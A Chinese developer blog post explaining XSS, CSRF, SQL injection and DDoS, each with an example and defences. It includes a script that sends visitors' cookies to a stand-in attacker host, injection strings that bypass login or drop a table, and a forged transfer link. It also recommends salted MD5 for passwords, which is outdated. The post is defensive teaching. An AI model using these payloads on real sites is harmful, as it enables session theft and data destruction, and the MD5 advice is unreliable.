

当你的能力还驾驭不了你的目标时，就应该沉下心来，历练。

总结几种常见web攻击手段及其防御方式

本文简单介绍几种常见的攻击手段及其防御方式

- XSS(跨站脚本攻击)
- CSRF (跨站请求伪造)
- SQL注入
- DDOS

web安全系列目录

- [总结几种常见web攻击手段及其防御方式](#)
- [总结几种常见的安全算法](#)

XSS

概念

- 全称是跨站脚本攻击（Cross Site Scripting），指攻击者在网页中嵌入恶意脚本程序。

案例

- 比如说我写了一个博客网站，然后攻击者在上面发布了一个文章，内容是这样的

```
<script>window.open("www.gongji.com?param="+document.cookie)</script>
```

，如果我没有对他的内容进行处理，直接存储到数据库，那么下一次当其他用户访问他的这篇文章的时候，服务器从数据库读取后然后响应给客户端，浏览器执行了这段脚本，然后就把该用户的cookie发送到攻击者的服务器了。

被攻击的原因

- 用户输入的数据变成了代码，比如说上面的 `<script>`，应该只是字符串却有了代码的作用。

预防

- 将输入的数据进行转义处理，比如说讲 `<` 转义成 `<`;

SQL注入

概念

- 通过sql命令伪装成正常的http请求参数，传递到服务器端，服务器执行sql命令造成对数据库进行攻击

案例

- `' or '1' = '1'`。这是最常见的sql注入攻击，当我们输入用户名 jiajun，然后密码输入 `' or '1' = '1'` 的时候，我们在查询用户名和密码是否正确的时候，本来要执行的是

```
select * from user where username=' ' and password=' '
```

，经过参数拼接后，会执行sql语句

```
select * from user where username='jiajun' and password=' ' or '1'='1'
```

，这个时候1=1是成立，自然就跳过验证了。
- 但是如果再严重一点，密码输入的是 `';drop table user;--`，那么sql命令为

```
select * from user where username='jiajun' and password='';drop table user;--
```

 这个时候我们就直接把这个表给删除了

公告

博主主攻java后端开发，微信号 jiajun_geek，感兴趣的朋友可以一起探讨技术。



昵称: jiajun_geek
园龄: 5年
粉丝: 398
关注: 0
[+加关注](#)

2021年3月						
日	一	二	三	四	五	六
28	1	2	3	4	5	6
7	8	9	10	11	12	13
14	15	16	17	18	19	20
21	22	23	24	25	26	27
28	29	30	31	1	2	3
4	5	6	7	8	9	10

搜索

Q

常用链接

[我的随笔](#)
[我的评论](#)
[我的参与](#)
[最新评论](#)
[我的标签](#)

我的标签

[java基础解析\(11\)](#)
[java多线程\(9\)](#)
[算法与数据结构\(7\)](#)
[MySQL系列\(5\)](#)
[认识jvm\(5\)](#)
[web基础\(5\)](#)
[设计模式\(4\)](#)
[好文分享\(3\)](#)
[自己动手写框架\(2\)](#)
[胡思与乱想\(1\)](#)
[更多](#)

[关注我~](#)



26

积分与排名

积分 - 97356

被攻击的原因

- sql语句伪造参数，然后在对参数进行拼接的后形成破坏性的sql语句，最后导致数据库受到攻击

预防


- 在java中，我们可以使用预编译语句(PreparedStatement)，这样的话即使我们使用sql语句伪造成参数，到了服务端的时候，这个伪造sql语句的参数也只是简单的字符，并不能起到攻击的作用。
- 很多orm框架已经可以对参数进行转义
- 做最坏的打算，即使被‘拖库’(脱裤，数据库泄露)。数据库中密码不应明文存储的，可以对密码使用md5进行加密，为了加大破解成本，所以可以采用加盐的（数据库存储用户名，盐（随机字符长），md5后的密文）方式。

CSRF

概念

- 全称是跨站请求伪造(cross site request forgery).指通过伪装成受信任用户的进行访问，通俗的讲就是说我访问了A网站，然后cookie存在了浏览器，然后我又访问了一个流氓网站，不小心点了流氓网站一个链接（向A发送请求），这个时候流氓网站利用了我的身份对A进行了访问。

案例

- 这个例子可能现实中不会存在，但是攻击的方式是一样的。比如说我登录了A银行网站，然后我又访问了室友给的一个流氓网站，然后点了里面的一个链接 `www.A.com/transfer?account=666&money=10000` ,那么这个时候很可能我就向账号为666的人转了1w软妹币
- 注意这个攻击方式不一定是我点了这个链接，也可以是这个网站里面一些资源请求指向了这个转账链接，比如说一个

被攻击的原因

- 用户本地存储cookie，攻击者利用用户的cookie进行认证，然后伪造用户发出请求

预防

- 之所以被攻击是因为攻击者利用了存储在浏览器用于用户认证的cookie，那么如果我们不用cookie来验证不就可以预防了。所以我们可以采用token（不存储于浏览器）认证。
- 通过referer识别，HTTP Referer是header的一部分，当浏览器向web服务器发送请求的时候，一般会带上Referer，告诉服务器我是从哪个页面链接过来的，服务器基此可以获得一些信息用于处理。那么这样的话，我们必须登录银行A网站才能进行转账了。

DDOS

概念

- 分布式拒绝服务攻击（Distributed Denial of Service），简单说就是发送大量请求是使服务器瘫痪。DDos攻击是在DOS攻击基础上的，可以通俗理解，dos是单挑，而ddos是群殴，因为现代技术的发展，dos攻击的杀伤力降低，所以出现了DDOS，攻击者借助公共网络，将大量的计算机设备联合起来，向一个或多个目标进行攻击。

案例

- SYN Flood ,简单说一下tcp三次握手，客户端先服务器发出请求，请求建立连接，然后服务器返回一个报文，表明请求以被接受，然后客户端也会返回一个报文，最后建立连接。那么如果有这么一种情况，攻击者伪造ip地址，发出报文给服务器请求连接，这个时候服务器接受到了，根据tcp三次握手的规则，服务器也要回应一个报文，可是这个ip是伪造的，报文回应给谁呢，第二次握手出现错误，第三次自然也就不能顺利进行了，这个时候服务器收不到第三次握手时客户端发出的报文，又再重复第二次握手的操作。如果攻击者伪造了大量的ip地址并发出请求，这个时候服务器将维护一个非常大的半连接等待列表，占用了大量的资源，最后服务器瘫痪。
- CC攻击，在应用层http协议上发起攻击，模拟正常用户发送大量请求直到该网站拒绝服务为止。

被攻击的原因

- 服务器带宽不足，不能挡住攻击者的攻击流量

预防

随笔档案

- 2017年12月(1)
- 2017年11月(3)
- 2017年10月(2)
- 2017年9月(11)
- 2017年8月(12)
- 2017年7月(12)
- 2017年6月(3)
- 2017年5月(6)
- 2017年4月(4)
- 2017年3月(1)

阅读排行榜

- 1. java多线程系列(四)---ReentrantLock的使用(48506)
- 2. 认识cpu、核与线程(37150)
- 3. 几种保持登录状态的方式(22638)
- 4. java多线程系列(二)---对象变量并发访问(17393)
- 5. java多线程系列(一)---多线程技能(11061)

推荐排行榜

- 1. java多线程系列(一)---多线程技能(41)
- 2. 认识cpu、核与线程(39)
- 3. MySQL系列（一）---基础知识大总结(31)
- 4. 总结几种常见web攻击手段及其防御方式(26)
- 5. java多线程系列(四)---ReentrantLock的使用(24)

关注我 ~



26

- 最直接的方法增加带宽。但是攻击者用各地的电脑进行攻击，他的带宽不会耗费很多钱，但对于服务器来说，带宽非常昂贵。
- 云服务提供商有自己的一套完整DDoS解决方案，并且能提供丰富的带宽资源

总结

- 上面一共提到了4中攻击方式，分别是xss攻击（关键是脚本，利用恶意脚本发起攻击），CSRF攻击（关键是借助本地cookie进行认证，伪造发送请求），SQL注入（关键是通过用sql语句伪造参数发出攻击），DDOS攻击（关键是通过手段发出大量请求，最后令服务器崩溃）
- 之所以攻击者能成功攻击，用户操作是一个原因，服务器端没有做好防御是一个问题，因为无法控制用户的操作，所以需要我们服务器端的开发做好防御。
- 没有觉得绝对安全，只要更安全。

我觉得分享是一种精神，分享是我的乐趣所在，不是说我觉得我讲得一定是对的，我讲得可能很多是不对的，但是我希望我讲的东西是我人生的体验和思考，是给很多人反思，也许给你一秒钟、半秒钟，哪怕说一句话有点道理，引发自己内心的感触，这就是我最大的价值。（这是我喜欢的一句话，也是我写博客的初衷）

作者: jiajun 出处: <http://www.cnblogs.com/-new/>
本文版权归作者和博客园共有，欢迎转载，但未经作者同意必须保留此段声明，且在文章页面明显位置给出原文连接，否则保留追究法律责任的权利。如果觉得还有帮助的话，可以点一下右下角的【推荐】，希望能够持续的为大家带来好的技术文章！想跟我一起进步么？那就【关注】我吧。

标签: web基础

好文要顶

关注我

收藏该文



jiajun_geek
关注 - 0
粉丝 - 398

+加关注

- « 上一篇: [数据结构从零开始之线性表](#)
- » 下一篇: [总结两种动态代理jdk代理和cglib代理](#)

posted @ 2017-07-08 09:01 jiajun_geek 阅读(10670) 评论(5) 编辑 收藏

[刷新评论](#) [刷新页面](#) [返回顶部](#)

登录后才能查看或发表评论，立即 [登录](#) 或者 [逛逛](#) [博客园首页](#)

园子动态：

- 发起一个开源项目：博客引擎 fluss
- 云计算之路-新篇章-出海记：开篇
- 博客园2005年6月1日首页截图

最新新闻：

- 腾讯有点小尴尬
- 虚假房源、隐私泄露，安居客上市改变不了58系的短视
- 腾讯游戏加速远离“小学生”
- 闻泰科技发布公告：24.2亿元收购欧菲光苹果摄像头业务
- 抖音诉腾讯不正当竞争案最新进展：抖音撤诉
- » 更多新闻...

支付宝 支付宝
 微信
扫描二维码打赏

关注我~

26



支付宝打赏
了解更多

关注我~



26